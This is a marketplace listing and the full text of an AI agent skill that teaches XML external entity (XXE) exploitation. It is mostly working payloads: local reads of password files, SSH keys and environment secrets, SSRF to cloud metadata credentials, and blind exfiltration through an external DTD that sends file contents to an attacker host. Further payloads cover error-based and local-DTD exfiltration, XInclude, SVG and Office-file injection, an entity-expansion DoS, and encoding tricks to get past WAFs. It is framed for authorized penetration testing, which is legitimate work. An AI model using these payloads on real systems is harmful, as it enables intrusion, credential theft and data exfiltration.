# Exploiting Xxe

> Exploiting XXE

- Skill: `trilwu/exploiting-xxe` (Agent Skill)
- Install (CLI): `npx skillmds@latest add trilwu/exploiting-xxe`
- Raw SKILL.md: https://api.skillmd.com/api/skills/trilwu/exploiting-xxe/raw
- Safety review: pending (external: skill-scanner PASS, skillspector FAIL)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: trilwu (https://skillmd.com/u/trilwu)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/trilwu/exploiting-xxe

---


# Exploiting XXE

XXE is what happens when an XML parser is allowed to resolve external entities
the document defines. The attacker writes a DTD that tells the parser to fetch a
file or a URL, and the parser obliges with the server's privileges. The reach is
local file read and SSRF into the internal network. The hard cases are blind —
the parser resolves the entity but never reflects it, so you exfiltrate out of
band or through error messages.

Only against systems you are authorized to test.

## When to Use

- A request body is XML: `Content-Type: application/xml`, `text/xml`, or a SOAP
  envelope, and the body starts with `<?xml`
- A file upload parses a format that is XML underneath: SVG, or an Office OOXML
  file (DOCX, XLSX, PPTX) which is a ZIP of XML parts, or an XML-bearing PDF
- An endpoint consumes RSS/Atom feeds, XML-RPC, or SAML assertions
- A parameter or field is later embedded into a server-side XML document
- Source review shows an XML parser built without external entities disabled
- You have a suspected sink but no reflected output — test for blind XXE

## When NOT to Use

- **The wider web methodology** — use `testing-web-applications` to find the
  sink before you land here
- **The primitive is a plain URL fetch, not XML** — use `exploiting-ssrf`
- **Object deserialization** — a different sink; use `exploiting-deserialization`
- **XXE inside a SAML flow specifically** — start with `attacking-saml` for the
  signature, replay, and assertion context, then return here for the parser
- **Finding the parser configuration in source** — use
  `auditing-code-for-vulnerabilities`

## Recognizing XML Sinks

XML hides in more places than a `Content-Type` header:

- **Raw XML bodies** — REST endpoints that accept `application/xml`
- **SOAP** — the envelope is XML; the `<?xml` prolog and DTD go before `<soap:Envelope>`
- **SVG uploads** — avatars, image processors, thumbnailers, chart renderers
- **Office OOXML** — DOCX/XLSX/PPTX are ZIP archives of XML parts; the parser
  reads `word/document.xml`, `xl/workbook.xml`, etc.
- **PDF** — some generators and XMP metadata paths parse embedded XML
- **RSS/Atom** — feed importers parse attacker-controlled feed URLs
- **SAML** — the `<samlp:Response>` and `<saml:Assertion>` are XML
- **XML-RPC** — the method call envelope is XML
- **Config/import features** — "import from XML", sitemap uploads, plist parsing

The tell for a live parser: submit a benign internal entity and see it expand.

```xml
<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY test "expanded-value"> ]>
<r>&test;</r>
```

If `expanded-value` appears in the response, general entities resolve and the
next step is an external entity.

## Classic In-Band File Read

When the entity value is reflected somewhere in the response:

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
```

Place `&xxe;` in whatever element the application echoes back — a name, a
comment, a search term. High-value local targets:

```
file:///etc/passwd
file:///etc/hostname
file:///proc/self/environ         # env vars, sometimes secrets and tokens
file:///proc/self/cmdline
file:///proc/self/cwd/             # directory listing on some parsers
file:///var/www/html/config.php
file:///home/<user>/.ssh/id_rsa
file:///c:/windows/win.ini         # Windows
```

## php://filter for Files That Break XML

A file containing `<`, `&`, or other XML-significant bytes (source code, config,
`/etc/shadow`) will break the parse when read directly. On PHP targets, wrap it
in the base64 filter so the entity value is pure base64:

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>&xxe;</foo>
```

Decode the returned blob with `base64 -d`. This is the go-to for reading PHP
source and any file whose raw content would otherwise corrupt the document.

## SSRF via XXE

An external entity pointed at a URL turns the parser into an HTTP client. The
server fetches with its own network position, which reaches internal services
and the cloud metadata endpoint:

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<foo>&xxe;</foo>
```

Everything about target selection, IMDSv2's header requirement, alternate IP
encodings, and internal service hunting lives in `exploiting-ssrf` — XXE is
just another way to originate the request. Note the XML parser is a *plain*
fetcher: it cannot set the `X-aws-ec2-metadata-token` header, so IMDSv2 blocks
it the same way it blocks simple SSRF. AWS IMDSv1 needs no header and stays in
reach, but Azure (`Metadata: true`) and GCP (`Metadata-Flavor: Google`) require a
header XXE cannot set — out of reach like IMDSv2. Header-less internal services remain.

## Blind XXE: Out-of-Band Exfiltration

Most real XXE returns nothing useful. Confirm the parser reaches out at all with
a simple OOB ping:

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://<unique>.oast.example/ping"> ]>
<foo>&xxe;</foo>
```

A DNS or HTTP hit at Burp Collaborator / interact.sh confirms blind XXE. To
exfiltrate file contents you need **parameter entities** (`%name`) and an
**external DTD** hosted on your server, because a general external entity cannot
be used inside another entity's definition, but parameter entities can.

Host this DTD at `http://attacker.example/evil.dtd`:

```xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example/x?d=%file;'>">
%eval;
%exfil;
```

Serve it with anything — a one-liner is enough:

```bash
# In the directory holding evil.dtd
python3 -m http.server 80
# Watch the query string of the inbound request for the base64 file content
```

The in-band request just pulls the external DTD:

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd"> %xxe; ]>
<foo>test</foo>
```

The `&#x25;` is a hex-encoded `%` — required because a parameter entity
reference cannot appear literally inside another parameter entity's definition;
it must be escaped so the parser expands it during the second read.

### Error-Based Exfiltration

When outbound HTTP is blocked but the parser reveals error messages, leak the
file through a parse error. Reference a nonexistent path built from the file
content so the failure message contains the data:

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

The parser tries to open `file:///nonexistent/root:x:0:0:...` and the "no such
file" error echoes the concatenated path — one line at a time, since newlines
terminate the path.

## Parameter Entities When General Entities Are Filtered

Some parsers or WAFs strip or reject general entity declarations but still
process parameter entities. If `<!ENTITY xxe ...>` is blocked, the entire
external-DTD technique above runs on `<!ENTITY % ...>` and works where the
in-band approach does not. Parameter entities are also the only form usable
inside the DTD's internal or external subset for chained definitions.

## XInclude — No DOCTYPE Needed

When you control only part of the XML document — a single field the server drops
into a larger document it builds — you cannot add a `<!DOCTYPE>`. `XInclude`
does the file read from inside an ordinary element, as long as the parser has
XInclude processing enabled:

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>
```

`parse="text"` reads the file as text (needed for non-XML files); drop it for
XML targets. This is the technique for SOAP fields and any injection point below
the document root.

## SVG and Office-Document XXE

**SVG** is XML — put the DTD straight in the uploaded file:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="20">&xxe;</text>
</svg>
```

If the service rasterizes the SVG, the file content may render into the output
image; if it echoes metadata, it appears there.

**Office documents (DOCX/XLSX/PPTX)** are ZIP archives of XML parts. Unzip, inject
the DTD into a parsed part, and rezip:

```bash
mkdir doc && cd doc && unzip ../clean.docx
# Edit word/document.xml — add a DOCTYPE and reference &xxe; in a text run.
# For XLSX edit xl/workbook.xml or a sheet; for PPTX a slide part.
zip -r ../evil.docx . -x '.*'
```

Tooling automates the injection and repackaging: `oxml_xxe` and `docem` generate
XXE-laden Office/Opendocument files across every part and payload variant.

## Billion Laughs — Entity Expansion DoS

Nested entities expand exponentially and exhaust memory:

```xml
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```

Mention this to prove the parser expands entities unbounded, but **do not
actually run it against a live target** — it is a denial-of-service that can
take the service down. A parser that resolves the small confirmation entity is
already the evidence; note the DoS exposure in the report without triggering it.

## Local DTD Reuse for Restricted Parsers

When outbound access is blocked *and* the parser forbids external general
entities but still permits parameter entities, you can repurpose a DTD file that
already exists on the target filesystem. Redefine one of its parameter entities
to trigger error-based exfiltration entirely locally:

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval; &#x25;error;
  '>
  %local_dtd;
]>
<foo>test</foo>
```

Find a DTD that ships with the OS (common paths differ by distro) and identify a
parameter entity it defines to override. This is the fully-offline blind read.

## Encoding Tricks to Bypass Filters

A WAF grepping for `<!ENTITY` or `<!DOCTYPE` in UTF-8 misses the same bytes
encoded as UTF-16 or UTF-7. Re-encode the whole payload and set the prolog
accordingly:

```bash
# UTF-16 defeats naive string-matching filters that only scan UTF-8
iconv -f UTF-8 -t UTF-16BE payload.xml > payload-utf16.xml
```

Also try: a UTF-16 `encoding="UTF-16"` declaration, mixing `SYSTEM` casing where
the parser is case-insensitive, and swapping `file://` for `netdoc://` (older
Java) or `jar:` (Java, reaches inside archives and holds connections open).

## Rationalizations to Reject

- *"The endpoint returns JSON, not XML."* Check what it *accepts*. Many JSON
  APIs still parse XML when you flip the `Content-Type` to `application/xml`.
- *"Nothing is reflected, so it's not exploitable."* Blind XXE reads files over
  OOB and through error messages. Confirm with an out-of-band ping first.
- *"It's just an image upload."* SVG is XML and OOXML files are ZIP+XML. Both
  hit the same parser.
- *"We disabled DOCTYPE."* Try XInclude, which needs no DOCTYPE, and parameter
  entities where general ones are blocked.
- *"The file read broke the parser."* Wrap it in `php://filter` base64, or use
  error-based exfiltration for non-PHP targets.
- *"Our WAF blocks `<!ENTITY`."* Re-encode as UTF-16, or move the declarations
  into an external DTD the WAF never inspects.
- *"It only reads local files, low severity."* File read reaches SSH keys,
  cloud config, and app secrets; the same primitive is SSRF to metadata. Score
  it on what you retrieved, not on the mechanism.

<!-- attack:start -->

## ATT&CK Coverage

_Generated from `secskills-core/ttp-index.json` — edit that file, then run
`python3 scripts/sync_attack.py --write`. Re-verify IDs against the
current ATT&CK release before citing them in a report._

**Initial Access** (TA0001)

- [T1190](https://attack.mitre.org/techniques/T1190/) Exploit Public-Facing Application — see also `testing-web-applications`, `testing-apis`, `enumerating-network-services`, `attacking-graphql`, `attacking-grpc-protobuf`, `exploiting-deserialization`, `exploiting-ssrf`

Detection content for any of these: `engineering-detections`. Proactive search: `hunting-threats`. Post-compromise: `responding-to-incidents`.

<!-- attack:end -->

## References

- `testing-web-applications` — the surrounding methodology that finds the sink
- `exploiting-ssrf` — target selection once XXE gives you an outbound request
- `attacking-saml` — XXE inside a SAML assertion, with signature and replay context
- `auditing-code-for-vulnerabilities` — finding the parser configuration in source
- `reporting-security-findings` — severity when only blind confirmation exists
- Burp Collaborator, interact.sh — out-of-band confirmation and exfiltration
- XXEinjector — automates OOB and error-based file retrieval
- oxml_xxe, docem — inject XXE payloads into SVG and Office/Opendocument files

